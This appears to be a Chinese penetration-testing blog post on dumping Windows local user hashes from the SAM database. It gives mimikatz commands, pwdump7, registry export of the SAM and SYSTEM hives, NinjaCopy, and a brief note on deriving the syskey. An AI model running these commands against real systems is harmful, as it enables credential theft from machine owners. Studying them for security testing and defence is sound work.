通过SAM获得数据库本地用户的hash

通过SAM获得本地用户hash

0x00 引言

渗透中,在获取到window系统的访问权限后,一般会使用mimikatz的sekurlsa::logonpasswords命令读取进程lsass的信息来获取当前登录用户的密码信息,但是如何全面获取系统的密码信息呢,这就要对SAM数据库中保存的信息进行提取,导出当前系统所有本地用户的hash。

0x01 简介

  • 通过SAM数据库获得用户hash的多种方法
  • 原理分析

0x02 通过SAM数据库获得用户hash的方法

1、在线读取SAM数据库

直接将工具传入目标机器,在目标机器中运行并获取密码信息。

mimikatz

1
2
3
4
5
6
7
privilege::debug 提升权限
token::elevate 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
lsadump::sam 利用lsass进程进行交互来提取凭证数据。

###
针对一个“在线”的 SAM 文件,需要管理员权限(使用 DEBUG 权限即可)或者本地 SYSTEM 权限。
获取一个模拟的 SYSTEM 令牌: Mimikatz “PRIVILEGE::Debug” “TOKEN:elevate”

pwdump7

利用pwdump7 使用管理员权限直接在目标机器运行。

可以到处hash,爆破不出明文密码。

2、离线读取SAM数据库

将需要的SAM数据库文件等其他可以用文件导出,传送到攻击机器中进行分析。

获取SAM数据库文件有三种实现方式

(1)从注册表中导出 。需要管理员权限

1
2
reg save HKLM\SYSTEM systembkup.hiv
reg save HKLM\SAM sambkup.hiv

(2)使用工具复制文件。NinjaCopy、需管理员权限

1
2
3
4
NinjaCopy.ps1 是一个powershell 策略文件
一般无法直接执行。
运行get-executionpolicy,如果结果是Restricted,那表示禁止执行脚本。
运行 set-executionpolicy -executionpolicy unrestricted 表示可以执行。

导出SAM 文件后,拉回本地使用mimikatz进行破解

1
lsadump::sam /sam:sambkup.hiv /system:systembkup.hiv

0x03 原理分析

读取注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JDSkew1GBGData中的内容,拼接成syskey。

读取注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下每个用户中F项和V项的内容,使用syskey进行一系列的解密。

至于拼接和解密的原理,自己找吧。

我只是技术的搬运工